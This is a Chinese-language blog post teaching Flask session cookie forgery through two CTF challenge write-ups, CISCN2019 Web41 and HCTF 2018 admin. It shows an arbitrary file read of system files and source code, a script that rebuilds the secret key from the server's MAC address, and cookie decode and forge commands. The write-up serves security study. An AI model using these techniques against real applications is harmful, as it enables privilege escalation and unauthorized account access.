对flask session伪造的学习

flask session 伪造

一、session的作用

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息

二、flask session的储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

三、flask的session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据                                     时间戳       签名               

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

四、flask session伪造

上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。

session伪造工具:https://github.com/noraj/flask-session-cookie-manager

例题:

[CISCN2019 华东南赛区]Web41

进入面点击readsomething

image-20221206193603149

image-20221206193621732

发现通过url参数返回了百度的页面 猜测存在任意文件读取

尝试读取文件

/etc/passwd

image-20221206193718939

查看当前进程:/proc/self/cmdline

image-20221206193921037

这里我们可以知道是python的后台,源码在app.py里面

尝试读取源码

image-20221206194048204

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

很明显这是一道flask session伪造的题目,要求session中username=fuck

那么要进行伪造我们要先得到secret_key

通过源码我们能够得到secret_key的构造方法

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

andom指定了seed那么生成的随机数是固定的

看一下uuid.getnode()的作用

image-20221206194524486

那我们可以通过读取当前的mac地址从而得到secret_key

/sys/class/net/eth0/address 获得mac地址

image-20221206194636335

import uuid
import random

mac = "c6:bc:6b:39:0a:98"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

这里在编译的时候要选择python2

因为python2 和python3的保存位数不一样

image-20221206201104019

那么这样我们就得到了secret_key

接下来就可以进行session伪造了

首先先对当前的session进行解密,查看session的格式

python3 flask_session_cookie_manager3.py  decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48pCw.jSI45FJchx1e5pmIMuxPxvo4m9E' -s '210.13041538' 

image-20221206201425311

上面要求username=fuck

将 www-data改为fuck进行伪造

image-20221206201628308

修改session ,访问/flag得到flag

image-20221206201740028

[HCTF 2018]admin

image-20221206201915063

注册个账号登录

image-20221206201954340

image-20221206202009916

在前端代码里面发现了源码地址

访问源码

在index.html里面可以得到这是一道session伪造的题目

image-20221206202434198

当session里面的name等于admin的时候会得到flag

这里通过大佬的解密脚本对session进行解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))		# 运行时需要输入一个参数

image-20221206202637163

可以得到session的格式

{'_fresh': True, '_id': b'93eab957b317f3c68c15b2cc1378d63f0a8d4027b8f0972000c58853c987180b1591e7c5857fa7ce5301f633ef92ef79dc88eafeac81c43353dcc911ee8c138b', 'csrf_token': b'65dc81d270662cbaaad4f5c3bc7e06a6156a6b87', 'image': b'BVE6', 'name': 'guo', 'user_id': '10'}

我们需要将name改为admin才能够得到flag

但是要进行session伪造,要先得到secret_key

在config.py里面可以得到secret_key :ckj123

image-20221206203006229

这里继续通过工具进行sesison伪造

image-20221206203220479

然后修改session我们就可以得到flag

image-20221206203401467

posted @ 2022-12-06 20:35  GTL_JU  阅读(2816)  评论(1编辑  收藏  举报